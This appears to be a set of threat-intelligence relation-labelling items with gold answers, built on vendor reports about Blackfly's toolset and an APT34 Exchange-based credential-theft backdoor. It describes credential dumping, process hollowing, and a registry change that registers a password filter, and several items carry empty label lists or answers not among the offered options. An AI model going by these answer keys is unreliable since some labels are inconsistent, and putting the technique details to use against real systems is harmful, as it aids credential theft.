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You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Blackfly
### Target Entity: ForkPlayground
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
Current Blackfly toolset
The following tools were used in attacks during late 2022 and early 2023:
* **Backdoor.Winnkit**
SHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459
SHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a
SHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596
SHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac
SHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196
SHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284
Rootkit driver known to be associated with Blackfly
* **Credential-dumping tool**
SHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c
Creates a dump of credentials from lsass.exe in C:\windows\temp\1.bin.
* **Screenshotting tool**
SHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4
Screenshots all open windows and saves them as .jpg files.
* **Process-hollowing tool**
SHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e
Injects shellcode in C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple "Hello World" alert message.
* **SQL tool**
SHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d
SQL client tool used to query SQL databases.
* **Mimikatz**
SHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c
Publicly available credential-dumping tool.
* **ForkPlayground**
SHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864
Proof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.
* **Proxy configuration tool**
SHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f
SHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee
SHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f
Configures proxy settings by injecting into: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted.
* **Proxy configuration tool**
SHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4
SHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1
This tool requires a file called conf.dat to run properly, located at: c:\users\public\conf.dat. Conf.dat contains the configuration to set up proxy settings.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Blackfly
### Target Entity: Winnkit
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
Current Blackfly toolset
The following tools were used in attacks during late 2022 and early 2023:
* **Backdoor.Winnkit**
SHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459
SHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a
SHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596
SHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac
SHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196
SHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284
Rootkit driver known to be associated with Blackfly
* **Credential-dumping tool**
SHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c
Creates a dump of credentials from lsass.exe in C:\windows\temp\1.bin.
* **Screenshotting tool**
SHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4
Screenshots all open windows and saves them as .jpg files.
* **Process-hollowing tool**
SHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e
Injects shellcode in C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple "Hello World" alert message.
* **SQL tool**
SHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d
SQL client tool used to query SQL databases.
* **Mimikatz**
SHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c
Publicly available credential-dumping tool.
* **ForkPlayground**
SHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864
Proof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.
* **Proxy configuration tool**
SHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f
SHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee
SHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f
Configures proxy settings by injecting into: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted.
* **Proxy configuration tool**
SHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4
SHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1
This tool requires a file called conf.dat to run properly, located at: c:\users\public\conf.dat. Conf.dat contains the configuration to set up proxy settings.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Blackfly
### Target Entity: Proxy configuration tool
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
Current Blackfly toolset
The following tools were used in attacks during late 2022 and early 2023:
* **Backdoor.Winnkit**
SHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459
SHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a
SHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596
SHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac
SHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196
SHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284
Rootkit driver known to be associated with Blackfly
* **Credential-dumping tool**
SHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c
Creates a dump of credentials from lsass.exe in C:\windows\temp\1.bin.
* **Screenshotting tool**
SHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4
Screenshots all open windows and saves them as .jpg files.
* **Process-hollowing tool**
SHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e
Injects shellcode in C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple "Hello World" alert message.
* **SQL tool**
SHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d
SQL client tool used to query SQL databases.
* **Mimikatz**
SHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c
Publicly available credential-dumping tool.
* **ForkPlayground**
SHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864
Proof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.
* **Proxy configuration tool**
SHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f
SHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee
SHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f
Configures proxy settings by injecting into: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted.
* **Proxy configuration tool**
SHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4
SHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1
This tool requires a file called conf.dat to run properly, located at: c:\users\public\conf.dat. Conf.dat contains the configuration to set up proxy settings.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Blackfly
### Target Entity: Screenshotting tool
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
Current Blackfly toolset
The following tools were used in attacks during late 2022 and early 2023:
* **Backdoor.Winnkit**
SHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459
SHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a
SHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596
SHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac
SHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196
SHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284
Rootkit driver known to be associated with Blackfly
* **Credential-dumping tool**
SHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c
Creates a dump of credentials from lsass.exe in C:\windows\temp\1.bin.
* **Screenshotting tool**
SHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4
Screenshots all open windows and saves them as .jpg files.
* **Process-hollowing tool**
SHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e
Injects shellcode in C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple "Hello World" alert message.
* **SQL tool**
SHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d
SQL client tool used to query SQL databases.
* **Mimikatz**
SHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c
Publicly available credential-dumping tool.
* **ForkPlayground**
SHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864
Proof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.
* **Proxy configuration tool**
SHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f
SHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee
SHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f
Configures proxy settings by injecting into: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted.
* **Proxy configuration tool**
SHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4
SHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1
This tool requires a file called conf.dat to run properly, located at: c:\users\public\conf.dat. Conf.dat contains the configuration to set up proxy settings.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Blackfly
### Target Entity: Process-hollowing tool
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
Current Blackfly toolset
The following tools were used in attacks during late 2022 and early 2023:
* **Backdoor.Winnkit**
SHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459
SHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a
SHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596
SHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac
SHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196
SHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284
Rootkit driver known to be associated with Blackfly
* **Credential-dumping tool**
SHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c
Creates a dump of credentials from lsass.exe in C:\windows\temp\1.bin.
* **Screenshotting tool**
SHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4
Screenshots all open windows and saves them as .jpg files.
* **Process-hollowing tool**
SHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e
Injects shellcode in C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple "Hello World" alert message.
* **SQL tool**
SHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d
SQL client tool used to query SQL databases.
* **Mimikatz**
SHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c
Publicly available credential-dumping tool.
* **ForkPlayground**
SHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864
Proof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.
* **Proxy configuration tool**
SHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f
SHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee
SHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f
Configures proxy settings by injecting into: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted.
* **Proxy configuration tool**
SHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4
SHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1
This tool requires a file called conf.dat to run properly, located at: c:\users\public\conf.dat. Conf.dat contains the configuration to set up proxy settings.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Blackfly
### Target Entity: SQL tool
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
Current Blackfly toolset
The following tools were used in attacks during late 2022 and early 2023:
* **Backdoor.Winnkit**
SHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459
SHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a
SHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596
SHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac
SHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196
SHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284
Rootkit driver known to be associated with Blackfly
* **Credential-dumping tool**
SHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c
Creates a dump of credentials from lsass.exe in C:\windows\temp\1.bin.
* **Screenshotting tool**
SHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4
Screenshots all open windows and saves them as .jpg files.
* **Process-hollowing tool**
SHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e
Injects shellcode in C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple "Hello World" alert message.
* **SQL tool**
SHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d
SQL client tool used to query SQL databases.
* **Mimikatz**
SHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c
Publicly available credential-dumping tool.
* **ForkPlayground**
SHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864
Proof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.
* **Proxy configuration tool**
SHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f
SHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee
SHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f
Configures proxy settings by injecting into: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted.
* **Proxy configuration tool**
SHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4
SHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1
This tool requires a file called conf.dat to run properly, located at: c:\users\public\conf.dat. Conf.dat contains the configuration to set up proxy settings.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
MSIL.REDCAP.AD
### Target Entity: APT34
### Possible Relationship Labels:
[]
### Text Passage:
On December 2022, we identified a suspicious executable (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) that was dropped and executed on multiple machines. Our investigation led us to link this attack to advanced persistent threat (APT) group APT34, and the main goal is to steal users’ credentials. Even in case of a password reset or change, the malware is capable of sending the new credentials to the threat actors. Moreover, after analyzing the backdoor variant deployed, we found the malware capable of new exfiltration techniques — the abuse of compromised mailbox accounts to send stolen data from the internal mail boxes to external mail accounts controlled by the attackers. While not new as a technique, this is the first instance that APT34 used this for their campaign deployment. Following this analysis, it is highly likely that this campaign’s routine is only a small part of a bigger chain of deployments. Users and organizations are strongly advised to reinforce their current security measures and to be vigilant of the possible vectors abused for compromise.
|
<label>authored-by</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
DevicesSrv.exe
### Target Entity: MSIL.REDCAP.A
### Possible Relationship Labels:
['indicates', 'is not related to', 'not sure']
### Text Passage:
Routine
In this section, we describe the attack infection flow and its respective stages, as well as share details on how the group uses emails to steal and exfiltrate critical information.
**First Stage: Initial Droppers**
Figure 1. Initial stage .Net droppers
We found the initial stage .Net dropper malware called _MrPerfectInstaller_ (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) responsible for dropping four different files, with each component stored in a Base64 buffer inside the main dropper. It drops the following:
1. %System%\psgfilter.dll: The password filter dynamic link library (DLL) used to provide a way to implement the password policy and change notification
2. %ProgramData%\WindowsSoftwareDevices\DevicesSrv.exe: The main .Net responsible for exfiltrating and leaking specific files dropped into the root path of this backdoor execution. This backdoor requires the .Net library implementing Microsoft Exchange webservices to authenticate with the victim mail server and exfiltrate through it.
3. %ProgramData%\WindowsSoftwareDevices\Microsoft.Exchange.WebServices.dll: The library to support the second component’s capability.
4. %ProgramData%\WindowsSoftwareDevices\DevicesSrv.exe.config: An app configuration file for runtimes of the .Net execution environment. This allows the option of falling back to .Net 2.0.
Figure 2. The four Base64 encoded buffers inside the main .Net dropper
Figure 3. The four modules dropped by the main binary
The dropper also adds the following registry key to assist in implementing the password filter dropped earlier:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa
Notification Packages = scecli, psgfilter
Figure 4. Adds the registry key
The main .Net binary implements two arguments for its operation: the first argument for installing the second stage, and the second argument for uninstalling it and unregistering the password filter dropped.
Figure 5. Implementing two arguments for operation
Figure 6. Function in case -u passed to dropper
Figure 7. Function in case -i passed to dropper, installing the second stage, then uninstalling it and unregistering the password filter
|
<label>indicates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
MSIL.REDCAP.A
### Target Entity: Microsoft Exchange
### Possible Relationship Labels:
['downloads', 'drops', 'uses', 'is not related to', 'not sure']
### Text Passage:
Routine
In this section, we describe the attack infection flow and its respective stages, as well as share details on how the group uses emails to steal and exfiltrate critical information.
**First Stage: Initial Droppers**
Figure 1. Initial stage .Net droppers
We found the initial stage .Net dropper malware called _MrPerfectInstaller_ (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) responsible for dropping four different files, with each component stored in a Base64 buffer inside the main dropper. It drops the following:
1. %System%\psgfilter.dll: The password filter dynamic link library (DLL) used to provide a way to implement the password policy and change notification
2. %ProgramData%\WindowsSoftwareDevices\DevicesSrv.exe: The main .Net responsible for exfiltrating and leaking specific files dropped into the root path of this backdoor execution. This backdoor requires the .Net library implementing Microsoft Exchange webservices to authenticate with the victim mail server and exfiltrate through it.
3. %ProgramData%\WindowsSoftwareDevices\Microsoft.Exchange.WebServices.dll: The library to support the second component’s capability.
4. %ProgramData%\WindowsSoftwareDevices\DevicesSrv.exe.config: An app configuration file for runtimes of the .Net execution environment. This allows the option of falling back to .Net 2.0.
Figure 2. The four Base64 encoded buffers inside the main .Net dropper
Figure 3. The four modules dropped by the main binary
The dropper also adds the following registry key to assist in implementing the password filter dropped earlier:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa
Notification Packages = scecli, psgfilter
Figure 4. Adds the registry key
The main .Net binary implements two arguments for its operation: the first argument for installing the second stage, and the second argument for uninstalling it and unregistering the password filter dropped.
Figure 5. Implementing two arguments for operation
Figure 6. Function in case -u passed to dropper
Figure 7. Function in case -i passed to dropper, installing the second stage, then uninstalling it and unregistering the password filter
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Microsoft.Exchange.WebServices.dll
### Target Entity: MrPerfectInstaller
### Possible Relationship Labels:
[]
### Text Passage:
Routine
In this section, we describe the attack infection flow and its respective stages, as well as share details on how the group uses emails to steal and exfiltrate critical information.
**First Stage: Initial Droppers**
Figure 1. Initial stage .Net droppers
We found the initial stage .Net dropper malware called _MrPerfectInstaller_ (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) responsible for dropping four different files, with each component stored in a Base64 buffer inside the main dropper. It drops the following:
1. %System%\psgfilter.dll: The password filter dynamic link library (DLL) used to provide a way to implement the password policy and change notification
2. %ProgramData%\WindowsSoftwareDevices\DevicesSrv.exe: The main .Net responsible for exfiltrating and leaking specific files dropped into the root path of this backdoor execution. This backdoor requires the .Net library implementing Microsoft Exchange webservices to authenticate with the victim mail server and exfiltrate through it.
3. %ProgramData%\WindowsSoftwareDevices\Microsoft.Exchange.WebServices.dll: The library to support the second component’s capability.
4. %ProgramData%\WindowsSoftwareDevices\DevicesSrv.exe.config: An app configuration file for runtimes of the .Net execution environment. This allows the option of falling back to .Net 2.0.
Figure 2. The four Base64 encoded buffers inside the main .Net dropper
Figure 3. The four modules dropped by the main binary
The dropper also adds the following registry key to assist in implementing the password filter dropped earlier:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa
Notification Packages = scecli, psgfilter
Figure 4. Adds the registry key
The main .Net binary implements two arguments for its operation: the first argument for installing the second stage, and the second argument for uninstalling it and unregistering the password filter dropped.
Figure 5. Implementing two arguments for operation
Figure 6. Function in case -u passed to dropper
Figure 7. Function in case -i passed to dropper, installing the second stage, then uninstalling it and unregistering the password filter
|
<label>indicates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
MrPerfectInstaller
### Target Entity: .Net
### Possible Relationship Labels:
[]
### Text Passage:
Routine
In this section, we describe the attack infection flow and its respective stages, as well as share details on how the group uses emails to steal and exfiltrate critical information.
**First Stage: Initial Droppers**
Figure 1. Initial stage .Net droppers
We found the initial stage .Net dropper malware called _MrPerfectInstaller_ (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) responsible for dropping four different files, with each component stored in a Base64 buffer inside the main dropper. It drops the following:
1. %System%\psgfilter.dll: The password filter dynamic link library (DLL) used to provide a way to implement the password policy and change notification
2. %ProgramData%\WindowsSoftwareDevices\DevicesSrv.exe: The main .Net responsible for exfiltrating and leaking specific files dropped into the root path of this backdoor execution. This backdoor requires the .Net library implementing Microsoft Exchange webservices to authenticate with the victim mail server and exfiltrate through it.
3. %ProgramData%\WindowsSoftwareDevices\Microsoft.Exchange.WebServices.dll: The library to support the second component’s capability.
4. %ProgramData%\WindowsSoftwareDevices\DevicesSrv.exe.config: An app configuration file for runtimes of the .Net execution environment. This allows the option of falling back to .Net 2.0.
Figure 2. The four Base64 encoded buffers inside the main .Net dropper
Figure 3. The four modules dropped by the main binary
The dropper also adds the following registry key to assist in implementing the password filter dropped earlier:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa
Notification Packages = scecli, psgfilter
Figure 4. Adds the registry key
The main .Net binary implements two arguments for its operation: the first argument for installing the second stage, and the second argument for uninstalling it and unregistering the password filter dropped.
Figure 5. Implementing two arguments for operation
Figure 6. Function in case -u passed to dropper
Figure 7. Function in case -i passed to dropper, installing the second stage, then uninstalling it and unregistering the password filter
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
MSIL.REDCAP.A
### Target Entity: Microsoft Exchange
### Possible Relationship Labels:
['downloads', 'drops', 'uses', 'is not related to', 'not sure']
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
